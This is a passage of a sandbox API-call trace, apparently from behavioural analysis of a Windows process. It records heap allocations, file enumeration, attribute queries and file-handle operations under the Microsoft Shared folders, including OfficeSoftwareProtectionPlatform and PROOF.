ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="")) returned 1 [0239.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90ad20 [0239.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0239.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909058 [0239.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90ae28 [0239.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x500) returned 0x90b868 [0239.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8ffe90) returned 1 [0239.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.813] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0239.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.813] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="")) returned 1 [0239.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.813] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0239.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.814] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0239.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.814] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0239.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909078 [0239.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90af30 [0239.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.814] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0239.814] GetLastError () returned 0x12 [0239.814] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0239.814] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0239.815] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.815] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0239.815] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0239.815] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="")) returned 1 [0239.815] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0239.815] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="")) returned 1 [0239.815] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0239.815] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0239.815] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0239.815] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0239.815] GetLastError () returned 0x12 [0239.815] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909a90) returned 1 [0239.815] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0239.816] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90ad20) returned 1 [0239.816] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0239.816] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0239.816] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.816] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0239.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0239.951] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0239.951] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x90bd70 [0239.952] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x90bd70, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x90bd70, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0239.952] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90bd70) returned 1 [0239.952] NtClose (Handle=0x1bc) returned 0x0 [0239.952] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.952] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.952] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0239.952] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0239.952] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0239.952] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.952] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0239.952] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.952] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.952] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.952] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.952] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.952] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.952] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0239.952] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.952] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.952] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.953] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.953] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.953] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0239.953] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0239.953] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909098 [0239.953] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90ad20 [0239.953] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.953] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0239.953] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.953] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.953] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.953] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.953] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.953] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9090b8 [0239.953] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909a90 [0239.953] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.953] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0239.953] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.953] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.953] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.953] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.953] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.953] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9090d8 [0239.953] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90b038 [0239.953] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.953] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0239.954] GetLastError () returned 0x12 [0239.954] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0239.954] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0239.954] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.954] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0239.954] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0239.954] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, 